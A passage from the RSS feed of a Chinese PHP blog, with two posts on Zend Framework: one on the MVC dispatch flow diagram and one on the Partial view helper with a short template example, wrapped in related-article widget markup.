                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework V1.5 中的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">zend framework错误或者异常信息捕捉</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">【转帖】Zend Framework中Ajax的一个使用技巧</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pkphp.com/wp-content/uploads/2008/03/mvc-flow-diagram.png"><img class="alignnone size-full attachment wp-att-10" title="mvc-flow-diagram" src="http://www.pkphp.com/wp-content/uploads/2008/03/mvc-flow-diagram.png" alt="" width="483" height="563" /></a></p>
<p>这个图是ZF文档中的，7.2节的图。由于中文文档还没有翻译，所以先搞个图看看，这个图画的非常好，非常明朗。</p>
<p>我已经用不同的颜色标注了不同的部分。主要流程是绿色块，黄色部分是钩子，这种蓝色代表Request和Response对象，紫红色部分判断是否<br />
dispath完毕。基本方向就是：Request -&gt; Router -&gt; Dispatch -&gt; Send Response<br />
<h3 class="bsuite_related">Related items</h3>
<ul class="bsuite_related">
<li><a href='http://www.pkphp.com/2010/01/09/zend-framework-render-intro/'>[转]详细介绍php Zend Framework中的render使用方法</a></li>
<li><a href='http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/'>今日到南京上网，发现偶尔打开的网页出现如下代码</a></li>
<li><a href='http://www.pkphp.com/2008/08/27/zend-framework-exception/'>zend framework错误或者异常信息捕捉</a></li>
<li><a href='http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/'>jQuery AJAX in Zend Framework</a></li>
<li><a href='http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/'>Zend Framework V1.5 中的新特性</a></li>
</ul>
<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="http://www.pkphp.com/" style="font-size: 13px;">http://www.pkphp.com/</a>(1)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="zend 流程" style="font-size: 13px;">zend 流程</a>(3)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="zend framework MVC" style="font-size: 13px;">zend framework MVC</a>(22)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="zend framework mvc 代码" style="font-size: 13px;">zend framework mvc 代码</a>(1)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="优化 zend framework mvc" style="font-size: 13px;">优化 zend framework mvc</a>(1)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="php mvc framework" style="font-size: 13px;">php mvc framework</a>(4)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="mvc 图" style="font-size: 13px;">mvc 图</a>(6)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="php zend mvc" style="font-size: 13px;">php zend mvc</a>(3)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="zend 流程图" style="font-size: 13px;">zend 流程图</a>(3)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="zend framework流程图" style="font-size: 13px;">zend framework流程图</a>(1)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="mvc 流程图" style="font-size: 13px;">mvc 流程图</a>(2)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="Zend Framework 流程图" style="font-size: 13px;">Zend Framework 流程图</a>(8)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="php 流程图" style="font-size: 13px;">php 流程图</a>(11)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="zend framework流程" style="font-size: 13px;">zend framework流程</a>(8)<a href="http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/" title="framework mvc" style="font-size: 13px;">framework mvc</a>(1)<br /><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">jQuery AJAX in Zend Framework</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework V1.5 中的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">zend framework错误或者异常信息捕捉</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">【转帖】Zend Framework中Ajax的一个使用技巧</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件" rel="nofollow">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.pkphp.com/2008/03/24/zend-framework-mvc%e6%b5%81%e7%a8%8b%e5%9b%be%e8%bd%ac%e5%b8%96/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于zf占位符的研究</title>
		<link>http://www.pkphp.com/2008/03/20/%e5%85%b3%e4%ba%8ezf%e5%8d%a0%e4%bd%8d%e7%ac%a6%e7%9a%84%e7%a0%94%e7%a9%b6/</link>
		<comments>http://www.pkphp.com/2008/03/20/%e5%85%b3%e4%ba%8ezf%e5%8d%a0%e4%bd%8d%e7%ac%a6%e7%9a%84%e7%a0%94%e7%a9%b6/#comments</comments>
		<pubDate>Thu, 20 Mar 2008 15:19:50 +0000</pubDate>
		<dc:creator>askie</dc:creator>
				<category><![CDATA[zend framework]]></category>

		<guid isPermaLink="false">http://www.pkphp.com/?p=9</guid>
		<description><![CDATA[区域助手（Partial Helper） Partial 视图助手被用来在它自己的变量范围内解析特定的模板。主要用法是（解析）可重用的模板片段，你不需要操心变量名的冲突。另外，它们允许你从特定的模块指定 partial 视图脚本。 Partial 的兄弟 PartialLoop 视图助手允许传递可迭代数据并为每个条目解析一部分。 例 37.2. Partials 的基本用法 partials 的基本用法是在它自己的视图范围内解析一个模板的片段。 &#60;?php // partial.phtml ?&#62; &#60;ul&#62; &#60;li&#62;From: &#60;?= $this-&#62;escape($this-&#62;from) &#62;?&#60;/li&#62; &#60;li&#62;Subject: &#60;?= $this-&#62;escape($this-&#62;subject) &#62;?&#60;/li&#62; &#60;/ul&#62; 你可以这样从视图脚本里调用它： &#60;?= $this-&#62;partial('partial.phtml', array( 'from' =&#62; 'Team Framework', 'subject' =&#62; 'view partials')); ?&#62; 解析结果如下： &#60;ul&#62; &#60;li&#62;From: Team Framework&#60;/li&#62; &#60;li&#62;Subject: view partials&#60;/li&#62; &#60;/ul&#62; 其他的可以参考：占位符 Related items [...]<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F16%2Ftaobao-api-opening%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F20%2F%25E5%2585%25B3%25E4%25BA%258Ezf%25E5%258D%25A0%25E4%25BD%258D%25E7%25AC%25A6%25E7%259A%2584%25E7%25A0%2594%25E7%25A9%25B6%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">淘宝开放了api，另我兴奋，但是研究之后，发现问题多多！</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F10%2F28%2Fseo%25E5%2585%25B3%25E9%2594%25AE%25E8%25AF%258D%25E7%25A0%2594%25E7%25A9%25B6%25E5%25B7%25A5%25E5%2585%25B7%25E9%259B%2586%25E9%2594%25A6%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F20%2F%25E5%2585%25B3%25E4%25BA%258Ezf%25E5%258D%25A0%25E4%25BD%258D%25E7%25AC%25A6%25E7%259A%2584%25E7%25A0%2594%25E7%25A9%25B6%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">seo关键词研究工具集锦</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F13%2F%25E7%25A0%2594%25E7%25A9%25B6%25E7%25BD%2591%25E7%25AB%2599%25E9%25A3%258E%25E6%25A0%25BC%25E5%25A4%25B4%25E7%2596%25BC%25E4%25BA%2586%25E5%2587%25A0%25E5%25A4%25A9%25EF%25BC%2581%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F20%2F%25E5%2585%25B3%25E4%25BA%258Ezf%25E5%258D%25A0%25E4%25BD%258D%25E7%25AC%25A6%25E7%259A%2584%25E7%25A0%2594%25E7%25A9%25B6%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">研究网站风格头疼了几天！</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2009%2F01%2F31%2Fgoogle%25E5%2587%25BA%25E9%2594%2599%25E4%25BA%2586%25EF%25BC%258C%25E6%2590%259C%25E7%25B4%25A2%25E7%25BB%2593%25E6%259E%259C%25E6%258F%2590%25E7%25A4%25BA%25E6%2589%2580%25E6%259C%2589%25E7%25BD%2591%25E7%25AB%2599%25E2%2580%259C%25E8%25AF%25A5%25E7%25BD%2591%25E7%25AB%2599%25E5%258F%25AF%25E8%2583%25BD%25E5%2590%25AB%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F20%2F%25E5%2585%25B3%25E4%25BA%258Ezf%25E5%258D%25A0%25E4%25BD%258D%25E7%25AC%25A6%25E7%259A%2584%25E7%25A0%2594%25E7%25A9%25B6%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">google出错了，搜索结果提示所有网站“该网站可能含有恶意软件，有可能会危害您的电脑。”</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<h4 class="title">区域助手（Partial Helper）</h4>
<p><code class="code">Partial</code> 视图助手被用来在它自己的变量范围内解析特定的模板。主要用法是（解析）可重用的模板片段，你不需要操心变量名的冲突。另外，它们允许你从特定的模块指定 partial 视图脚本。</p>
<p><code class="code">Partial</code> 的兄弟 <code class="code">PartialLoop</code> 视图助手允许传递可迭代数据并为每个条目解析一部分。</p>
<p class="title"><strong>例 37.2.  Partials 的基本用法 </strong></p>
<div class="example-contents">partials 的基本用法是在它自己的视图范围内解析一个模板的片段。</p>
<pre class="programlisting"><code><span style="color: #000000;">
<span style="color: #1d53c1;">&lt;?php </span><span style="color: #7b8d9a;">// partial.phtml </span><span style="color: #1d53c1;">?&gt;
</span>&lt;ul&gt;
&lt;li&gt;From: <span style="color: #1d53c1;">&lt;?= $this</span><span style="color: #232d30;">-&gt;</span><span style="color: #1d53c1;">escape</span><span style="color: #232d30;">(</span><span style="color: #1d53c1;">$this</span><span style="color: #232d30;">-&gt;</span><span style="color: #1d53c1;">from</span><span style="color: #232d30;">) &gt;?&lt;/</span><span style="color: #1d53c1;">li</span><span style="color: #232d30;">&gt;
&lt;</span><span style="color: #1d53c1;">li</span><span style="color: #232d30;">&gt;</span><span style="color: #1d53c1;">Subject</span><span style="color: #232d30;">: &lt;?= </span><span style="color: #1d53c1;">$this</span><span style="color: #232d30;">-&gt;</span><span style="color: #1d53c1;">escape</span><span style="color: #232d30;">(</span><span style="color: #1d53c1;">$this</span><span style="color: #232d30;">-&gt;</span><span style="color: #1d53c1;">subject</span><span style="color: #232d30;">) &gt;?&lt;/</span><span style="color: #1d53c1;">li</span><span style="color: #232d30;">&gt;
&lt;/</span><span style="color: #1d53c1;">ul</span><span style="color: #232d30;">&gt;</span>
</span>
</code></pre>
<p>你可以这样从视图脚本里调用它：</p>
<pre class="programlisting"><code><span style="color: #000000;">
<span style="color: #1d53c1;">&lt;?= $this</span><span style="color: #232d30;">-&gt;</span><span style="color: #1d53c1;">partial</span><span style="color: #232d30;">(</span><span style="color: #7f1e65;">'partial.phtml'</span><span style="color: #232d30;">, array(
</span><span style="color: #7f1e65;">'from' </span><span style="color: #232d30;">=&gt; </span><span style="color: #7f1e65;">'Team Framework'</span><span style="color: #232d30;">,
</span><span style="color: #7f1e65;">'subject' </span><span style="color: #232d30;">=&gt; </span><span style="color: #7f1e65;">'view partials'</span><span style="color: #232d30;">)); </span><span style="color: #1d53c1;">?&gt;</span>
</span>
</code></pre>
<p>解析结果如下：</p>
<pre class="programlisting"><code><span style="color: #000000;">
&lt;ul&gt;
&lt;li&gt;From: Team Framework&lt;/li&gt;
&lt;li&gt;Subject: view partials&lt;/li&gt;
&lt;/ul&gt;

其他的可以参考：占位符</span> </code></pre>
</div>
<h3 class="bsuite_related">Related items</h3>
<ul class="bsuite_related">
<li><a href='http://www.pkphp.com/2010/01/09/zend-framework-render-intro/'>[转]详细介绍php Zend Framework中的render使用方法</a></li>
<li><a href='http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/'>今日到南京上网，发现偶尔打开的网页出现如下代码</a></li>
<li><a href='http://www.pkphp.com/2008/08/27/zend-framework-exception/'>zend framework错误或者异常信息捕捉</a></li>
<li><a href='http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/'>jQuery AJAX in Zend Framework</a></li>
<li><a href='http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/'>Zend Framework V1.5 中的新特性</a></li>
</ul>
<a href="http://www.pkphp.com/2008/03/20/%e5%85%b3%e4%ba%8ezf%e5%8d%a0%e4%bd%8d%e7%ac%a6%e7%9a%84%e7%a0%94%e7%a9%b6/" title="php占位符" style="font-size: 13px;">php占位符</a>(1)<br /><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F16%2Ftaobao-api-opening%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F20%2F%25E5%2585%25B3%25E4%25BA%258Ezf%25E5%258D%25A0%25E4%25BD%258D%25E7%25AC%25A6%25E7%259A%2584%25E7%25A0%2594%25E7%25A9%25B6%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">淘宝开放了api，另我兴奋，但是研究之后，发现问题多多！</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F10%2F28%2Fseo%25E5%2585%25B3%25E9%2594%25AE%25E8%25AF%258D%25E7%25A0%2594%25E7%25A9%25B6%25E5%25B7%25A5%25E5%2585%25B7%25E9%259B%2586%25E9%2594%25A6%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F20%2F%25E5%2585%25B3%25E4%25BA%258Ezf%25E5%258D%25A0%25E4%25BD%258D%25E7%25AC%25A6%25E7%259A%2584%25E7%25A0%2594%25E7%25A9%25B6%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">seo关键词研究工具集锦</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F13%2F%25E7%25A0%2594%25E7%25A9%25B6%25E7%25BD%2591%25E7%25AB%2599%25E9%25A3%258E%25E6%25A0%25BC%25E5%25A4%25B4%25E7%2596%25BC%25E4%25BA%2586%25E5%2587%25A0%25E5%25A4%25A9%25EF%25BC%2581%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F20%2F%25E5%2585%25B3%25E4%25BA%258Ezf%25E5%258D%25A0%25E4%25BD%258D%25E7%25AC%25A6%25E7%259A%2584%25E7%25A0%2594%25E7%25A9%25B6%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">研究网站风格头疼了几天！</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F20%2F%25E5%2585%25B3%25E4%25BA%258Ezf%25E5%258D%25A0%25E4%25BD%258D%25E7%25AC%25A6%25E7%259A%2584%25E7%25A0%2594%25E7%25A9%25B6%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework V1.5 中的新特性</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件" rel="nofollow">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.pkphp.com/2008/03/20/%e5%85%b3%e4%ba%8ezf%e5%8d%a0%e4%bd%8d%e7%ac%a6%e7%9a%84%e7%a0%94%e7%a9%b6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

